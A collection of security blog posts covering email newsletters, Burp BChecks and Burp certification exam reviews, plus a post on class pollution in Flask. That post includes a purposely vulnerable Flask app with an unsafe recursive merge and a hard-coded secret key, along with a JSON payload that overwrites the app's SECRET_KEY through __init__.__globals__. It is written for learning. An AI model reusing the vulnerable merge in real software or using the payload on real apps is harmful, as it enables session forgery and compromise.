Lanmaster53.com

Email is Dead. Long Live Email.

2024-07-15T00:00:00Z

I recently compared the stats from LinkedIn and X (formerly Twitter) for one of my more popular posts. In the first 24 hours of that post, X accumulated 304 impressions from 8,426 followers, and LinkedIn accumulated 3,117 impressions from 1,861 followers. These are absurdly lopsided numbers that speak to the death of Twitter as a primary source of InfoSec knowledge sharing. I say "Twitter" here because X is clearly not the same platform. I shared these stats with an online community and it triggered a conversation about InfoSec knowledge sharing from both the content creation and consumption perspectives given the current state of social media. I am primarily a content creator, and currently focus exclusively on LinkedIn, but I still do some consuming. Apparently, my consumption approach is unconventional and intrigued some of those involved in the conversation. I thought I would share it here in case anyone else could benefit from it.

I didn't follow many people on Twitter. I just followed a few people that followed everyone else and retweeted the things they thought were helpful. The people I followed were essentially content filters for the topics I was interested in. I used to call them tweet aggregators, and my usage of Twitter as a consumer revolved solely around their behavior. This technique served me well for the first decade or so of my career, but this all ended a couple years ago when the majority of the people I followed left Twitter. This created a gap in consumption for me, and I eventually noticed myself falling behind in awareness of what was going on in the various topics that interest me. So I went searching for an alternative way to efficiently consume useful information.

There are email newsletters available for pretty much any domain within information technology i.e. security, development, etc. Newsletter authors scour the internet for resources related to specific subjects and provide summary emails with links to all the things they found interesting or significant. Sometimes daily, and sometimes weekly. This is very similar to what the people I followed on Twitter did. I began subscribing to newsletters and found that not only is this a great way to consume information, but it actually has many advantages over the social media approach of old.

Organized long-term storage. I use Gmail filters to automatically organize and sort newsletter emails into a categorized label structure. I can hold on to them as long as I want, and they will never expire or become inaccessible until Gmail goes away at. Even then, I'll be able to export the emails. It won't likely matter anyway because the linked resources will be irrelevant before Gmail is.

Scoped searching. Even if I don't read every email, I am building a repository of relevant and vetted resources. Google search has recently introduced AI, which I have found to provide horribly inaccurate responses to queries. Therefore, finding trustworthy, truthful, and accurate information is becoming harder by the day. If I have a development or security question, rather than go to Google for the wrong answer, I can search the associated label in Gmail with relevant keywords and have vetted resources at my fingertips in a moment. It's amazing. By the way, here's a way to make Google behave like it used to before AI.

Less commitment. Consuming Twitter was an ongoing process that required frequent views and scrolling, or else a useful resource might get buried in the pile of tweets that would accumulate over time. The FOMO was real. Newsletters are daily or weekly, and they don't get put in a crowded buffer of garbage. Get to it when you get to it, skim the headlines, and read what you want. Quite often I will skim headlines without clicking any of the links just to keep a pulse on what's going on. I may not know the details of the latest vulnerability that is bringing the internet to its knees, or the latest breaking change added to React, but I'll at least have awareness, and that is often good enough until there is a reason to dig further into it. Then I can use the search technique mentioned above to dive in.

Less screen time/social media. On the topic of FOMO... I already stare at a screen all day, so the less time I feel pressure to stare at a screen and expose myself to the toxic nature of social media, the better. I don't need to worry about what I might be missing, because anything worth paying attention to will be in the next newsletter.

Obviously, I use Gmail for all of this, and Google being the king of search, Gmail naturally has great filtering and searching capabilities. I imagine any email provider will provide similar capabilities, but I use Gmail, so the above information should be taken in that context.

Now, before any of this was possible, and I had to find the right newsletters. I started by reaching out to friends and contacts in the various industries that I wanted to stay informed of and asked them if they knew of any. This resulted in a few leads, and using that context, I did some searching to find alternatives, which led to more leads. I eventually found newsletters across multiple topics with just enough overlap between them to indicate good coverage without gaps. For those interested, below are the ones that I am currently subscribed to and why. Note that as my interests or the quality of the newsletters change, the list will to, and I probably won't update this post to reflect it.

Information Security. This is what I do.

Development. In order to truly be good at application security, I need to know how to do what developers are doing. I spend as much time writing code as I spend reviewing and testing it. This list covers the front end to the back end and everything in between with a focus on emerging technologies.

Development Operations (DevOps). Many of my clients need help in this area, specifically with regards to DevSecOps. Therefore, I try to stay on top of the DevOps piece so I can integrate my expertise to help them solve the security problem.

TLDR DevOps

Python. I'm a huge Python nerd.

Python Weekly
PyCoder's Weekly
ArjanCodes - The Friday Loop (link in the footer)

General IT. I'm a geek that enjoys keeping an eye on technology as a whole.

TLDR

Not all of these newsletters are treated equally. I prioritize the TLDR newsletters because I have grown to enjoy the quality and brevity. I rarely read the DevOps newsletters simply because I do a lot less of that than I do everything else. I always make time for Go Make Things just because I really like Chris' perspective of front end development, even though we couldn't be further away from one another on most other topics (his emails can be quite opinionated and occasionally venture outside the topic of development, but I respect his platform). PyCoder's, Python, and Programmer weekly are on par with TLDR, so they usually get my full attention as well. The rest might get a skim if I have time, otherwise I don't feel guilty letting them slip into storage to become a resource for future searches.

Well, that's about it. Hopefully someone finds this useful in the post-Twitter age of information sharing. I know I have.

Burp BChecks: First Impressions

2023-07-05T00:00:00Z

With the introduction of PortSwigger Burp BChecks, I immediately became curious to see if the feature would be powerful enough to replace the existing Burp integrated Python interface I use to achieve similar results. The Python solution is a topic I cover in great detail in #PBAT (https://www.practisec.com/training/pbat/).

I spent some time with Burp BChecks yesterday and set out to do a side-by-side comparison with the Python approach. I quickly discovered that BChecks are so limited that I couldn't conduct a true side-by-side comparison, even with one of the simplest and most common use cases I have for this functionality. Therefore, instead of a side-by-side comparison, I am sharing my initial impressions of BChecks, and will contrast those with the capabilities of the existing Python approach.

The use case for my capabilities analysis was something we do in #PBAT with Python: Create a simple passive scan rule that looks for specific headers that are known to leak useful information, i.e. X-Powered-By, Server, X-*, etc. Here are the takeaways from trying to implement this with BCheck.

The BChecks interface is well done. Definitely the best part of the feature. Templates make it easy to get started, and the ability to import/export checks encourages community sourcing and sharing.
Debugging BChecks is limited to vague errors about line numbers and character positions and don't provide enough detail of what is causing the error. Fixing bugs and determining limitations took a lot of trial and error because I simply did not know what was wrong with each attempt. I had to try enough variations in all situations to exhaust all possibilities. With this approach, I either stumbled upon a fix at some point, or determined that something simply was not possible. PortSwigger's documentation, while not bad, was not comprehensive enough to help with this.
BChecks require learning a proprietary syntax in a field where there is already an abundance of syntax to know. Since it is a proprietary syntax, users are forced to learn something that will not be applicable to anything else in their career.
BChecks provide a single looping (iterating) mechanism, run for each, that only allows for the use of static, explicitly defined values and does not allow looping through existing arrays. BChecks actually provides arrays of data ( i.e. response.headers), but provides no mechanism to loop through them. This is either a gross oversight, or something they surely plan to incorporate in the future. Regardless, it is a crippling gap in functionality at the moment and the main reason why I couldn't do the side-by-side comparison.
BChecks do not provide a mechanism for nested loops. Even if it was possible to loop through an existing array, BChecks would only be able to conduct analysis for one static thing for each iteration. For example, it is not possible to check multiple headers for a match with multiple regular expressions or strings. The only way to achieve nested behavior is to create a new BCheck for each item that would normally be in the nested array. Obviously, this is far from ideal, and still doesn't work for anything dynamic because of point 4.
BChecks only apply to the scanner, and can't be used with any other tool, i.e. Intruder, Repeater, etc.

Here's how Python in Burp stacks up to the same use case.

There is a well designed interface for Python (Python Scripter BApp).
Python debugging is verbose and helpful.
Python is well known and useful outside of Burp. It's a positive career move and a good investment of one's time to learn Python.
Python allows for defining and looping through dynamic arrays.
Python allows for nested loops.
Burp integrated Python works for every tool in Burp Suite Pro and has limitless scoping capabilities.

These points of comparison are not unique to Python, and this is where I'm going to get on my soapbox. Would it not have been easier for PortSwigger to implement similar behavior with Python, JavaScript, Ruby, etc. than it was to create a new syntax that is full of limitations? More effort for less functionality seems like an odd design choice to me. I'm sure that BChecks will get better over time, but given the above analysis, I'm left to wonder... why? Why didn't PortSwigger embrace what is already being done? Seems to me that the Python solution (or any existing language for that matter) would have been easier to implement (the work is already done for Python) and way more capable than BChecks right out of the box. I'm interested to see how the feature evolves, but I don't see how it will ever be more useful than what already exists with Python. But maybe that's by design.

I must acknowledge the possibility that I could be misunderstanding PortSwigger's intended use case for BChecks, or am missing some key component of the feature. Perhaps I'm trying to use BChecks for something they simply weren't designed to do, although they are explicitly marketed for creating passive scan rules. I made sure to read every resource I could find that PortSwigger had published on BChecks at the time I conducted this analysis, but it's certainly possible that I just missed something.

I will continue watching the progress of the BChecks feature. Even if Python remains my preferred mechanism for achieving this functionality, which it certainly is for now, I will be prepared to share this feature with students in all future PractiSec training courses for which it applies.

Prototype Pollution in Flask

2023-02-01T00:00:00Z

Not too long ago I shared an interesting article on Twitter titled Prototype Pollution in Python. Not only are the memes great, but it's a fun and engaging read that does a good job of breaking down a complex topic into easy to understand concepts with practical examples. I highly recommend it if you enjoy tinkering with Python. At the bottom of the article the author mentions a couple practical examples for the reader to explore further. One of the examples was "Overwriting Flask web app secret key that's used for session signing." Anything with the word "Flask" in it catches my attention immediately, so I spent a couple of hours exploring this idea.

In typical fashion, when I explore a new vulnerability, or a vulnerability that is new to me, I do a series of things that force me to experience the vulnerability from multiple perspectives. The process looks something like this.

Come up with a reason why a developer might decide to write code that does the thing.
Write a small application, or feature for an existing application, that does the thing.
Attack the application to determine:
1. Different ways of discovering the thing.
2. The risk of exploiting the thing.
3. How development tools try to prevent the thing.
Modify the code to remediate the thing.
Validate if the thing is remediated.
Repeat steps 3-5 until I can't do the thing anymore.

I have found this to be the most effective approach to learning enough about a vulnerability that I can speak intelligently to developers about them.

Using the author's recursive merge function, I built the following Flask application.

import json
from flask import Flask, request, jsonify

app = Flask(__name__)

app.config['DEBUG'] = True
app.config['SECRET_KEY'] = 'GDtfDCFYjD'

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class Person(object):

    def __init__(self):
        pass

    def serialize(self):
        return vars(self)

@app.route('/config', methods=['GET'])
def get():
    data = {'SECRET_KEY': app.config['SECRET_KEY']}
    return jsonify(data)

@app.route('/person', methods=['POST'])
def post():
    data = json.loads(request.data)
    person = Person()
    merge(data, person)
    return jsonify(person.serialize()), 201

app.run()

This code is pretty simple. Upon receiving a POST request on the /person endpoint, the application populates a new Person object by merging it with the provided JSON data. The application could then store the object to a database or whatever, but in this case it merely returns a JSON serialized version of the created Person object. The /config endpoint isn't needed and only exists to show evidence of what is happening.

The first question I usually ask is, "Why would a developer do this?" In this case, it's a bit of a stretch to merge objects this way. I know I wouldn't do this. But if I never searched for vulnerabilities that were related to things that developers should never do, I'd never find a vulnerability. The author did show that Pydash includes similar merge functionality, but I feel like it's an even further stretch because of what it expects as input. I just can't come up with a halfway decent reason why I would use Pydash like that. If you do, please let me know.

Given the example application, it's time to leverage what we learned about prototype (or class) pollution in Python to build an attack payload that completes the objective.

{
    "name":"Tim",
    "birthday":"2/1/1980",
    "__init__":{
        "__globals__":{
            "app":{
                "config":{
                    "SECRET_KEY":"polluted"
                }
            }
        }
    }
}

This payload starts by giving the API endpoint what it needs to successfully create the person. This isn't required for the exploit to work, but it's always good to give an application what it expects in order to pass validation and ensure the payload reaches the potentially vulnerable code. The magic happens beginning with the __init__ dunder method. It gives us access to the __globals__ object that contains a reference to the app object, which contains the config dictionary, which contains the SECRET_KEY. We simply assign the secret key a new value to pollute it.

From this point forward the application uses the secret key that we have knowledge of, and all functionality that relies on the secret key, such as token signing, is compromised. Once the server is bounced, it will reset the secret key to whatever the original value was, but we should be long gone by then, or have persisted access in some other way.

Pretty fun right? I enjoy taking vulnerabilities that are known for affecting one language or framework and seeing if I can make them work in another, and that is exactly what the author of this article did. Thanks @Abdulrah33mK for sharing your research and providing me with something to play with for a while.

Review: Burp Suite Certified Practitioner (Part 3 Final)

2022-01-05T00:00:00Z

Failure is hard to swallow. After failing my first attempt at the Burp Suite Certified Practitioner exam, I decided to try the certification exam again... and again... and again.

If you've not already read part one or part two of my review, please do so before continuing. This is a direct continuation of the previous articles.

Attempts Summary

$9 per attempt at the Burp Suite Certified Practitioner exam was a hard deal to pass up, especially when there was so much to learn about the process and share with others, regardless whether or not I ever passed it. So after my initial failure, I decided purchase another attempt and take a more serious approach. I didn't study nearly as hard as I should have the first time and really thought that my years of experience in the field would be enough. As outlined in part two of this series of articles, this was not the case. My real world experience was essentially useless in the exam environment. Those looking to attempt the certification exam should expect the same experience if you do the kind of work that I do. Again, see the previous articles for details.

Before my second attempt, I went through every apprentice and practitioner level lab in the Web Security Academy and made honest attempts to complete them with no help from the solutions. This took a long time, but given that discovery during the exam is all about linking what you see in the labs to behaviors in the target applications, this rote memorization was required. Once I had a comfortable level of familiarity with all of the labs, I made my second attempt. I failed the exam again. This time I got a little further by completing two of the challenges, the first stage of each application.

Once again frustrated, but still with resolve and feeling like I could do better, I adjusted my approach to prepare for a third attempt. Even though Portswigger responded to my initial review and extended the exam time limit to four hours, I still felt like I was too slow. I needed a faster way to approach the challenges. I proceeded to create an index of the labs as a way to quickly identify potential vulnerabilities and reference exploitation approaches. I'll expand on the idea of indexing below. With the index in hand, I made my third attempt. I failed the exam again. However, this time was different. Timing wasn't an issue. I powered through the first application in approximately 45 minutes and completed the first stage of the second application in about 15 minutes. I then proceeded to stare at the second challenge of the second application for three hours. Yes, three hours with zero progress. I was so desperate and had so much time that I literally went through all of the labs again TWICE and tried every automated tool I could think of just for the heck of it. I reached out to support and a point of contact within Portswigger to verify that the challenge I received was solvable. Support confirmed that it was, but I had my doubts.

Again frustrated, but encouraged by my progress and knowing that the tests were randomized, I decided to make a fourth attempt and hope that I didn't receive the same problematic challenge as the previous attempt. I failed the exam again. The EXACT same way. I powered through the first application and the first stage of the second application in about an hour, before staring at that same challenge as before again for three hours. It was at this point that I gave up.

I had never put so much effort into something that ultimately resulted in failure. Sure, I've experienced a lot of failure in life. Success rarely comes without failure. But in all previous circumstances, with continued effort and resolve, I had always eventually succeeded. This was a real taste of failure, and my first experience with facing something that I simply could not do no matter how hard I tried. I was done. Perhaps my biggest concern was not knowing what I missed. At the time of this writing, I still have no idea what I missed on all those attempts. I don't know if what I missed represents something that I'll never find in the assessments I conduct, if they were the result of bugged challenges, or if they were simply challenges gamified in such a way that my brain had trouble reasoning with them. I don't know. And that's scary to me.

After a couple days of getting use to the feeling of failure, I received a message from Portswigger thanking me for helping to identify an issue with the exam and offering me a free attempt. What?! What issue? I didn't report anything. Well, as it turns out, the email I sent to support after my third attempt, or perhaps the message I sent to my Portswigger contact, led someone to discover that something wasn't right. Portswigger fixed the issue and offered those affected by it another attempt at the exam. I'll speak more to this in a bit, but the bottom line was, I had another attempt to make.

I made my fifth attempt and failed again. This time my heart just wasn't in it. I had become comfortable with the fact that I was never going to pass it. About an hour into the exam, I got tired of it, walked away to play with my kids, and never went back.

Certification Maturity

As I mentioned above, Portswigger extended the certification exam time limit to four hours after my second attempt. I don't know that my review had anything to do with it, or if it was just coincidence, but regardless, they felt it was necessary to extend the time limit and made the adjustment.

Also as mentioned above, after being notified of a potential issue, Portswigger looked at the system, found a problem, fixed the problem, and attempted to make up for losses to their customers. At the time I was curious of how many of my attempts had been impeded by the issue because I was only offered one additional attempt even though I had failed multiple times at this point. Regardless, Portswigger didn't have to acknowledge or offer anything in response to the issue, so I was content with how they handled it. Portswigger later clarified with me that the issue they fixed was not the issue that led to my multiple failures. In fact, the issue may not have been responsible for any of my failures. They could only determine that the issue existed for one of my attempts, and offered a replacement voucher for that attempt. I certainly appreciate this additional information, and recommend that Portswigger include something to this effect in the original email they send out in response to identified problems. It would remove any uncertainly or reason for distrust.

Note: The above paragraph was updated based on new information provided by Portswigger after the original article was published.

Web application security is a dynamic ever-changing field. So any certification within it is going to be dynamic and ever-changing as well if it wants to remain relevant. Between my third and fourth attempts at the exam, Portswigger released an entire block of content on file upload vulnerabilities to the Web Security Academy. Since the exam is tied directly to the academy content and labs, I was concerned that I would have to go back and do for file uploads everything I had done for the remainder of the academy up to that point. I reached out to Portswigger and was told that there is a "couple week" grace period between when content shows up in the Web Security Academy and when it is eligible for the exam. This isn't documented anywhere, and is something that should be pointed out somewhere. If you've read my previous articles on this review, then you know that this is not the first case of something needing clarification within the documentation. The good thing is that Portswigger has take much of this into account and has expanded the documentation to include many of the various items I've pointed out.

All of this goes to show a couple things. First, that Portswigger is responsive to the community. This is huge. In a day and age where everyone is capitalizing on money grabs while paying very little attention to end users and customers, Portswigger chooses to respond. And that's awesome. Second, it shows that the entire certification process is still relatively untested, pun intended. The Burp Suite Certified Practitioner certification is still very much in its infancy. Call it a beta level product if you will. I'll expand on this a little more in my final thoughts.

Indexing

I mentioned in my attempts summary above the concept of indexing. For those of you that have taken SANS courses and certifications, instructors will tell you best way to prepare for the exams is to "index the books." because there is not enough time during a SANS certification exam to search the books for answers. Indexing a SANS book consists of identifying key words and ideas from the book and putting them in a spreadsheet ordered alphabetically with the page number. The idea is that when you see the word or idea in an exam question, you can quickly find where in the book it is and look up the answer. This works really well for traditional open book tests where the quantity of material is simply too much to commit to memory or search manually.

The Burp Suite Certified Practitioner exam is open book and the quantity of material is too much to commit to memory or search manually. Sounds like a good candidate for indexing right? The problem is, it isn't a traditional exam. However, what if we treat it like a traditional exam? That's exactly what I did. I treated the Web Security Academy as a book. As I went through the labs, I noted the application, page, behavior, resource, keywords, client-side code snippets, and solution payloads for each vulnerability category and lab. I then organized each vulnerability category by stage. Given that the exam is structured so that some vulnerabilities cannot exist in some stages for one reason or another (see full exam documentation to understand why), it was quite handy knowing which vulnerability categories were valid at each stage based on what had been accomplished in the previous stage. This organized list of vulnerabilities became a table of contents for my index.

During the exam, I would look at the vulnerabilities that were valid at the current stage given the conditions and focus in on areas of interest that made sense for the valid vulnerabilities. This pretty much ALWAYS identified the vulnerability. Portswigger actually makes this pretty obvious, so nothing major gained at this point. The next step was to use the index to look up what I was seeing in the targeted portion of the application. This often led me straight to a lab or labs that the challenge was based on. Then it was a matter of figuring out the little extra that Portswigger put into the exam challenge that made it different from the lab.

It should be noted that once I had the index, time was no longer an issue.

Pass Requirement

While it should have been something that surfaced earlier in my review, the biggest takeaway after all of my attempts is what is required to pass the exam. The completion requirement feels incredibly unfair. There is absolutely zero margin for error. It is 100% success or fail. You have to be perfect. You cannot miss anything. Period. I've tried finding something that compares to this in the industry and I can't. It's unprecedented, and probably for good reason. It's a bad idea.

I think most people in Information Security would agree that Offensive Security has been a benchmark for what a good technical certification should require. Their certifications are hands on, challenging, and require practical skill and knowledge to succeed. Look at OSCP for example. It has had the respect of the community for a very long time and has been referred to by many as the standard bearer for hands on certifications. As tough as OSCP is, it doesn't require 100% completion. It requires a high level of completion, but not 100%. Yet it remains a great indicator for whether or not someone is capable of doing the job that the certification says they can.

No one is perfect. We all have our strengths and weaknesses. This is no different when we begin breaking things down into specific technical items within a field of study, like application security. I may have knack for sniffing out authorization or authentication issues while another person has a knack for finding business logic flaws. It's why consultancies will rotate consultants for the same client, and why software companies will rotate consultancies for the same application. A different set of eyes brings a fresh set of skills and strengths to uncover things that previous tests didn't.

As mentioned in my previous articles, the Burp Suite Certified Practitioner certification exam contains two applications with three random challenges each, and every challenge has to be completed, in order, to pass. The test is linear. Therefore, if one of the challenges happens to be based on a technical area where you are weak, then you're done. There is no progressing. There is no hope of passing. Every moment you spend searching for the answer not only takes time away from the current challenge, but also the remaining challenges should you somehow complete the current. This causes anxiety, and there comes a point where even if you did solve the challenge, there's no hope of completing the exam. You can't skip that challenge and move to another while your subconscious grinds away at the previous. Your only option is to take the exam again and hope you win the challenge lottery.

This is a really poor approach to certification. Does it certify that one person is more qualified than another? Or does it certify that one person got a lucky set of challenges that aligned with their strengths and another didn't? It could be either, right? That's my point. You can't tell by the result of the exam alone. You'd have to know more than the results. And that makes the result of the exam meaningless, which makes the certification meaningless.

I understand that excessive weakness should prevent someone from being certified, but at what level? Everyone has some weakness. That's why there are variable grading and rating systems. The question is at what level has the acceptable amount of weakness or strength been validated. 100% perfection is an unrealistic metric for this and makes this a game of playing the randomized challenge lottery. Perhaps that's good for selling additional certification attempts, but it's a terrible and frustrating experience for the customer.

Feedback

If anyone from Portswigger reads this, here is my official feedback on how I believe the certification process and overall value of the certification could be improved.

First, rather than require 100% completion of everything, add a third app and either require two to be completed, or perhaps require a percentage of the provided challenges across all three applications to be completed. That way, there is a tolerance for imperfection that better relates to the human condition.

Second, change the name of the certification. I feel so strongly about this. The title "Burp Suite Certified Practitioner" would lead one to believe that the certification validates ones ability to use Burp Suite. I have not talked to a single person that has prepared for, attempted, and/or passed the exam that believes this title accurately describes the certification. While Burp Suite makes the labs and exams easier, they can be completed without it using freely available alternatives. Using the provided built in word list because it includes the required password for the account does not validate the need for Burp Suite. Based on all of the labs, practice exam challenges, and certification exam challenges that I completed during the process, plus years of using, researching, and teaching people about Burp Suite Pro, nothing in the certification process required above what I would consider very basic apprentice level usage. As someone that has led teams at several security consultancies, if someone only knew of Burp Suite what was required for the labs and exams, then I would have very little confidence in their ability to test web applications. The process simply does not certify what it says it does. I've said it over and over again, and most who have experienced it would agree, this certification is about memorizing and applying a large number of exploitation techniques and combining them to solve a puzzle. It's a CTF, as indicated by the final answer of each application being a secret from a static file on the file system. Nothing in the title indicates this. This is something that I believe the community will self-police if Portswigger does not, or the certification will lose it's relevance.

Final Thoughts

After three articles and two months of my professional life, the bottom line is this. The Burp Suite Certified Practitioner certification it is not without issue, and until the community has determined that it is a technically rock solid solution that truly validates the real world skills it claims to certify, then it should be approached with caution as a metric for any kind of policy or qualification. Otherwise, it's an incredibly well put together and challenging technical puzzle that will require you to learn a large number of exploitation techniques across the majority of web application vulnerability categories. While I do not walk away from the experience certified, I don't feel as if I lost anything. I gained a lot of knew exploitation knowledge, I learned a bit about myself, and I have shared all of that with you.

Review: Burp Suite Certified Practitioner (Part 2)

2021-11-18T00:00:00Z

With Portswigger slashing the price of their Burp Suite Certified Practitioner exam to $9, I couldn't resist buying an attempt and giving it a try. I spent a couple more days preparing and took the certification exam. I didn't get very far in the three hours, completing only a single challenge (step 1 of application 1), but I did learn a little about the environment and wanted to share some of that information with others that may be considering an attempt at becoming a Burp Suite Certified Practitioner.

If you've not already read part one of my review, please do so before continuing. This is not only a continuation of that, but I may have new perspectives based on experiencing the actual certification exam, and it could be helpful seeing how my perspectives have changed. Everything here is in addition to part one of my initial review and the information that Portswigger provides about the certification exam specifically.

Targets

I've only taken the certification exam once, but I was told by a contact at Portswigger and confirmed with someone that has taken the certification exam more than once, that the challenges are randomized each time you take the certification exam. This is so testers can't predictably get the same certification exam every time and "game" the time restriction by picking up where they left off previously (like we all did with the practice exam). This makes the timing issue even more relevant, because now you have to start fresh every time, and can't roll over any previous work. Portswigger wants you to finish the whole thing starting from ground zero in the three hours to prove your ability.

There are two applications that must be completed, and while you have to do each stage of each application in order (three stages), the applications themselves do NOT have to be done in order. In fact, when I hit a road block on the first application, I hopped over to the second for a change of scenery.

While bouncing between applications is possible and gives your brain a soft reset, it can also be confusing. The applications have largely the same functionality implemented in different ways and it can become confusing trying to remember which interesting behavior belonged to which application. The fact that each application's host name is a random string of characters doesn't help this either. If you bounce around, find a way to keep track of things.

I didn't accomplish enough to conclude if there is an intentional increase in difficulty between the two applications, but considering they are randomly selected and everything is supposed to be practitioner level difficulty, I doubt it.

The applications are not large. They are small and pretty straight forward. However, just because there isn't much content, doesn't mean there isn't much to look for. There are so many lesser understood and not obvious places Portswigger can place issues e.g. cache poisoning, request smuggling, CORS implementations, header injection, etc... more on this below. The scanner can help with some of this, but that takes time, even if you are using the selective scanning techniques. In the end, a scanner is a scanner and might not provide you with anything useful, and could waste some of your time with false positives.

Difficulty

There is nothing vanilla here folks. This thing is hard. Unfortunately, I don't think it is hard for the right reasons, because in my opinion it's not hard in a realistic way. Reality is what we're certifying for, right?

The exam is all about having a large number of techniques memorized, then figuring out which order to apply them in a short period of time. Let me put it this way. Let's refer to each of the Web Security Academy lab solutions as a technique, or a small collection of techniques that can be divided into individual techniques. The exam presents challenges in such a way that at first glance you are looking at the reincarnation of a lab you've already seen. But things aren't what they seem. You'll soon find out that the underlying issue isn't operating alone. There are other techniques from other labs that will need to be combined with the first technique in order to proceed. Sometimes directly and sometimes indirectly. This presents two problems: a natural increase in difficulty, and a requirement to memorize, recognize, and execute a large number of techniques in a short period of time.

In my opinion, combining practitioner level techniques in this way does not maintain the practitioner level of difficulty. Similar to how Chris Gates and Rob Fuller use to put it in their LOW to PWNED talks, if you put a couple low risk issues together, it presents a lot more risk. In the same way, if you put a couple practitioner level techniques together, it increases the level of difficulty of the challenge. I would rate much of what I've encountered in the practice and certification exams more on the expert level than the practitioner level. Then again, I've failed the exam, so take my opinion with a grain of salt. I might just be protecting my ego.

At the time of this writing, there are 203 total labs in the Web Security Academy. Of the 203 labs, 171 are practitioner level or lower. Therefore, if there is only a single technique per lab, which there are often more, there are at least 171 techniques to have memorized and able to recognize the need for and execute at a moments notice during the certification exam. I don't know about you, but I simply can't do that. I have a terrible memory, so one thing I've forced myself to do is not to memorize everything, but to recognize something and have an easily accessible reference that reminds me of everything I need to recall about the topic. I feel like that's too slow of a process for the certification exam, which is why I performed so poorly on it. With 30 minutes per challenge (3 hours * 60 minutes / 6 challenges), you don't have time to discover a vulnerability, reference a resource, build an exploit, test the exploit, and troubleshoot the exploit. You need to be able to respond immediately without reviewing references or spending time in trial and error situations. You need the answer and you need it quick. After I failed, Portswigger's guidance was, "We advise spending at least four weeks preparing, before you re-book your Burp Suite Certified: Practitioner exam." I won't remember four weeks from now any more than I can remember right now. I've been doing the labs for the last week and a half and still had to reference the things I did last week. This is not wrong, but it's hard given the time constraint. I convey the message to all of my students that there is a LOT to know in web application security. Your best asset will be your ability to recognize something and manage information in such a way that you are able to find it when you need it. I don't need all 171+ techniques at my disposal all the time. I'll read them from long term storage into short term volatile memory as I need them, and dump everything that isn't necessary for identification between encounters. This approach does not work well with the certification exam.

Finally, the way the issues are incorporated are inconsistent with the flow of the application and don't replicate what solving them is supposed to certify, which is a practitioner's capability against real-world applications. The challenges are convoluted and disjointed puzzles that are designed and implemented in a way that doesn't replicate the normal behavior of a developer. Keep in mind that my normal may be different from someone else's normal, but I've been exclusively testing web applications for a very long time, so I feel like I've got a decent enough sample set to have an opinion. For example, the challenge may involve a server-side rendered application, but the developer will have shoehorned a client-side rendered "feature" into the application that is completely different from how the rest of the application works. It does make potential issues stand out because you'll be like, "What the heck is that? That doesn't belong there.", but based on my inability to move forward, I have to wonder if this design approach confused how I attempt to reverse engineer a developers thoughts when I'm assessing their code. A real world application, which I will remind you is what we are certifying for, would not normally be this way. There is typically a consistent use of technology and patterns that we can observe and use to make assumptions about where issues are likely to exist. Like CTFs, the certification exam environment feels a bit like a hodgepodge, and that certainly makes for an environment I am not comfortable in. But those that enjoy and excel at solving puzzles and CTFs will likely fit right in here. It certainly feels like that kind of game.

Virtual Victim

Portswigger uses an "AI" that operates on the back end like a user to do things like open emails, click links, etc. I don't know what Portswigger calls it, so I'll call it the virtual victim. You'll encounter the virtual victim first when you do the Web Security Academy labs. In the labs, Portswigger will tell you exactly what a button text needs to be, or what the payload should execute in order to be detected by the virtual victim. For example, a lab may require that a button have the text "click me" in order for the virtual victim to trigger a Clickjacking exploit. This information is provided as part of the challenge, not the solution. You have to have the information, because without it, you would have to guess what is required to create a payload that would be detected. If your exploit doesn't work, your first troubleshooting step is to make sure you gave the virtual victim what it was looking for. If you do, then you know something is functionally wrong with your exploit.

So how does that approach translate over to the certification exam? It doesn't. There is no guidance for how to properly lure the virtual victim into an exploit within the certification exam. Therefore, the guessing game that you didn't have to do in the labs plays itself out in the certification exam. I operated under the assumption that the certification exam virtual victim behaved same way as the lab virtual victim. However, the fact that I don't know for sure made me uncertain about an exploit that should have worked during the certification exam, but didn't.

During the certification exam, I observed behavior that would allow me to conduct a two-stage exploit to gain access to what was needed to advance to the next level of the first application. Like I said, the apps are small and there's not much too them, so there wasn't a lot to choose from. This had to be it in my mind because there was simply nothing else to do. I built an exploit and tested it against myself. It worked perfectly. When I delivered the exploit to the virtual victim, nothing happened. I exploited myself again to double check and it worked. I sent it to the virtual victim again and nothing happened. As of this writing, I still have no idea why it didn't work. Was the button not labeled correctly for the virtual victim to recognize it? Was there some sort of technical explanation for why one user would be vulnerable while another wouldn't? Was I providing a right wrong answer... or simply put, not the answer Portswigger expected? I have no idea. I created something out of my own creativity that appeared to solve the problem within the context of the tools that Portswigger has given me all along, and it simply didn't work. That is a really frustrating place to be. Especially since I spent so much time putting it together. And in case you haven't caught on, you do not have enough time for a single wrong answer.

On the topic of time, it takes a good couple hours of tinkering with the virtual victim to get a feel for how it works and how to integrate it with your exploits. You can do most of this orientation in the labs, but it is an absolute must. The way it works felt unnatural to me. In fact, as I was doing my evening walk tonight, it suddenly hit me that I had the right exploit all along for a different challenge I was working on during the certification exam (a different one than the one mentioned above) but wasn't delivering it properly because of a misunderstanding of how the virtual victim interface worked. Once I got away and wrapped my head around what I was trying to accomplish with the virtual victim interface, I realized I was using it wrong. It is really important that you have a good understanding of this tool so you don't end up in a situation like me.

Conclusion

I said it last time and I'll say it again, the certification exam is for those interested in hard core exploitation. Discovery is not hard here. You will find the spots you need to look at pretty easily, and in some cases, the automated discovery techniques will do it for you. The certification exam demands high-level exploitation skill. If you aren't comfortable in what I would consider expert level exploitation and post-exploitation with very little need to reference, you are going to struggle with the certification exam.

Also, time, time, time. I can't say it enough. There is so little time to accomplish what needs to be done during the certification exam. To reiterate, you have 30 minutes to discover a vulnerability, reference a resource, build an exploit, test the exploit, and troubleshoot the exploit for each of six challenges. You cannot afford a rabbit hole or wrong answer, and you cannot afford to spend much time referencing anything.

I know this review sounds a bit negative, but I wanted to be transparent about my experience. It was frustrating, and it made me feel inadequate at a profession I have spent countless hours pouring my life in to. There is going to be an emotional response to that, and I felt it. But, I also want to be clear that the certification exam hits on all of my weakest points as an information security practitioner. I don't play in CTFs, and deep exploitation is not something my clients ask me, or sometimes even allow me, to do. I have a thorough methodology that takes time to get through. And as someone that writes a lot of code, I try to get into the mind of the developer and use their patterns and processes to lead me to vulnerabilities. My approach to web application security simply does not serve me well in the certification exam environment. I expect that others' mileage will vary greatly, so please don't let me discourage you from attempting the certification exam.

